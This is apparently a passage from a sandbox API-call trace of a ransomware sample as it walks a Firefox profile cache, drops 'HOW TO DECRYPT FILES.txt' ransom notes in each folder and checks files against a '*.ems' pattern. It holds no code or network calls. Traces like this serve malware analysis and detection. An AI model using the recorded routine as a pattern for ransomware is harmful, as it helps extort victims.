lpLastWriteTime=0x407556) returned 1 [0086.266] CloseHandle (hObject=0xa8) returned 1 [0086.266] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\", lpString2="7E0FEd01" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\7E0FEd01") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\7E0FEd01" [0086.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\7E0FEd01", pszSpec="*.ems") returned 0 [0086.266] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7fe0250, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xf888, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="7E0FEd01", cAlternateFileName="")) returned 0 [0086.266] FindClose (in: hFindFile=0x502798 | out: hFindFile=0x502798) returned 1 [0086.266] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="F0", cAlternateFileName="")) returned 1 [0086.266] lstrcmpA (lpString1=".", lpString2="F0") returned -1 [0086.266] lstrcmpA (lpString1="..", lpString2="F0") returned -1 [0086.266] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\*.*") returned="*.*" [0086.266] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\", lpString2="F0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0" [0086.266] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502798 [0086.267] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.267] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.267] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.267] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.267] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x823c2350, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xa80f, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ECB2Dd01", cAlternateFileName="")) returned 1 [0086.268] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0086.268] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ECB2Dd01") returned -1 [0086.268] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ECB2Dd01") returned 1 [0086.268] lstrcmpiA (lpString1="", lpString2="ECB2Dd01") returned -1 [0086.268] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\*.*") returned="*.*" [0086.268] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\" [0086.268] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\") returned="" [0086.268] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\HOW TO DECRYPT FILES.txt" [0086.268] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\f0\\how to decrypt files.txt")) returned 0xffffffff [0086.268] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\f0\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa8 [0086.270] SetFileTime (hFile=0xa8, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.270] CloseHandle (hObject=0xa8) returned 1 [0086.270] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\", lpString2="ECB2Dd01" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\ECB2Dd01") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\ECB2Dd01" [0086.271] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\ECB2Dd01", pszSpec="*.ems") returned 0 [0086.271] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x823c2350, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xa80f, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ECB2Dd01", cAlternateFileName="")) returned 0 [0086.271] FindClose (in: hFindFile=0x502798 | out: hFindFile=0x502798) returned 1 [0086.271] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="F0", cAlternateFileName="")) returned 0 [0086.271] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0086.271] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x851226b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x46, dwReserved1=0x0, cFileName="_CACHE_001_", cAlternateFileName="_CACHE~2")) returned 1 [0086.271] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0086.271] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="_CACHE_001_") returned 1 [0086.271] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="_CACHE_001_") returned 1 [0086.271] lstrcmpiA (lpString1="", lpString2="_CACHE_001_") returned -1 [0086.271] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*") returned="*.*" [0086.271] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\" [0086.271] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\") returned="" [0086.271] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\HOW TO DECRYPT FILES.txt" [0086.271] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\how to decrypt files.txt")) returned 0xffffffff [0086.272] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0086.274] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.274] CloseHandle (hObject=0xa0) returned 1 [0086.274] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="_CACHE_001_" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_001_") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_001_" [0086.274] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_001_", pszSpec="*.ems") returned 0 [0086.274] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x851e0d90, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="_CACHE_002_", cAlternateFileName="_CACHE~3")) returned 1 [0086.274] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0086.274] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="_CACHE_002_") returned 1 [0086.274] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="_CACHE_002_") returned 1 [0086.274] lstrcmpiA (lpString1="", lpString2="_CACHE_002_") returned -1 [0086.274] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_001_") returned="_CACHE_001_" [0086.274] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\" [0086.274] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\") returned="" [0086.274] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\HOW TO DECRYPT FILES.txt" [0086.274] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\how to decrypt files.txt")) returned 0x2020 [0086.275] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="_CACHE_002_" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_002_") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_002_" [0086.275] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_002_", pszSpec="*.ems") returned 0 [0086.275] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x8529f470, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x5c0074, dwReserved1=0x610043, cFileName="_CACHE_003_", cAlternateFileName="_CACHE~4")) returned 1 [0086.275] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0086.275] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="_CACHE_003_") returned 1 [0086.275] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="_CACHE_003_") returned 1 [0086.275] lstrcmpiA (lpString1="", lpString2="_CACHE_003_") returned -1 [0086.275] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_002_") returned="_CACHE_002_" [0086.275] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\" [0086.275] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\") returned="" [0086.275] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\HOW TO DECRYPT FILES.txt" [0086.275] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\how to decrypt files.txt")) returned 0x2020 [0086.275] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="_CACHE_003_" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_003_") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_003_" [0086.275] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_003_", pszSpec="*.ems") returned 0 [0086.275] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x8535db50, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2114, dwReserved0=0x5c0074, dwReserved1=0x610043, cFileName="_CACHE_MAP_", cAlternateFileName="_CACHE~1")) returned 1 [0086.275] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0086.276] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="_CACHE_MAP_") returned 1 [0086.276] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="_CACHE_MAP_") returned 1 [0086.276] lstrcmpiA (lpString1="", lpString2="_CACHE_MAP_") returned -1 [0086.276] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_003_") returned="_CACHE_003_" [0086.276] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\" [0086.276] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\") returned="" [0086.276] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\HOW TO DECRYPT FILES.txt" [0086.276] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\how to decrypt files.txt")) returned 0x2020 [0086.276] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="_CACHE_MAP_" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_MAP_") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_MAP_" [0086.276] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_MAP_", pszSpec="*.ems") returned 0 [0086.276] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x8535db50, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2114, dwReserved0=0x5c0074, dwReserved1=0x610043, cFileName="_CACHE_MAP_", cAlternateFileName="_CACHE~1")) returned 0 [0086.276] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0086.276] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbece2650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbecfd400, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbecfd400, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="OfflineCache", cAlternateFileName="OFFLIN~1")) returned 1 [0086.276] lstrcmpA (lpString1=".", lpString2="OfflineCache") returned -1 [0086.277] lstrcmpA (lpString1="..", lpString2="OfflineCache") returned -1 [0086.277] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*.*") returned="*.*" [0086.277] 